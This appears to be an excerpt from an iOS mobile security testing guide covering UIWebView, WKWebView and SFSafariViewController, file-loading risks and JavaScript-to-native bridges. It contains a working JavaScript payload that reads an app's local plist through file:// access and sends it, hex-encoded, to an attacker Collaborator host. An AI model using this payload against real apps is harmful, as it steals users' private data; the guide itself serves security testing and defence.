Deprecated since iOS 12. Cannot disable JavaScript, making it inherently vulnerable to script injection and XSS. Avoid entirely in new apps.
WKWebView
Preferred choice. JavaScript can be disabled, supports hasOnlySecureContent for mixed content detection, and minimizes memory corruption risk to the main app process.
SFSafariViewController
Standardized browser experience sharing Safari’s cookies. Cannot disable JavaScript. Must be displayed prominently per App Store guidelines.
WKWebView supports http(s)://, file://, and tel:// protocols. Methods for loading content:
loadHTMLString:baseURL: — loads HTML string with a base URL
loadData:MIMEType:textEncodingName:baseURL: — loads raw data
loadRequest: — loads a URL request
loadFileURL:allowingReadAccessToURL: — loads a local file (dangerous if a directory is specified — exposes all files in it)
If loadFileURL:allowingReadAccessToURL: is called with a directory path (not a file path), all files in that directory become accessible to the WebView’s JavaScript.
This JavaScript payload exfiltrates a local file via XHR if the WebView has file access:
String.prototype.hexEncode = function () { var result = "" for (var i = 0; i < this.length; i++) { var hex = this.charCodeAt(i).toString(16) result += ("000" + hex).slice(-4) } return result}var xhr = new XMLHttpRequest()xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { var xhr2 = new XMLHttpRequest() xhr2.open("GET", "http://attacker.burpcollaborator.net/" + xhr.responseText.hexEncode(), true) xhr2.send(null) }}xhr.open("GET", "file:///var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.plist", true)xhr.send(null)
WKWebView uses message passing for JS-to-native communication:
func enableJavaScriptBridge(_ enabled: Bool) { let userContentController = wkWebViewConfiguration.userContentController userContentController.removeScriptMessageHandler(forName: "javaScriptBridge") if enabled { let handler = JavaScriptBridgeMessageHandler() userContentController.add(handler, name: "javaScriptBridge") }}
JavaScript side:
function invokeNativeOperation() { window.webkit.messageHandlers.javaScriptBridge.postMessage([ "multiplyNumbers", document.getElementById("value1").value, document.getElementById("value2").value, ])}
Native handler (Swift):
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) { let messageArray = message.body as! [String] var result = "" switch messageArray[0] { case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) default: break } let callback = "javascriptBridgeCallBack('\(messageArray[0])','\(result)')" message.webView?.evaluateJavaScript(callback, completionHandler: nil) }}
Exposed native methods via JSContext or postMessage handlers should be carefully reviewed. Sensitive operations (reading files, accessing the Keychain, making network requests) must not be accessible from JavaScript without proper authentication and input validation.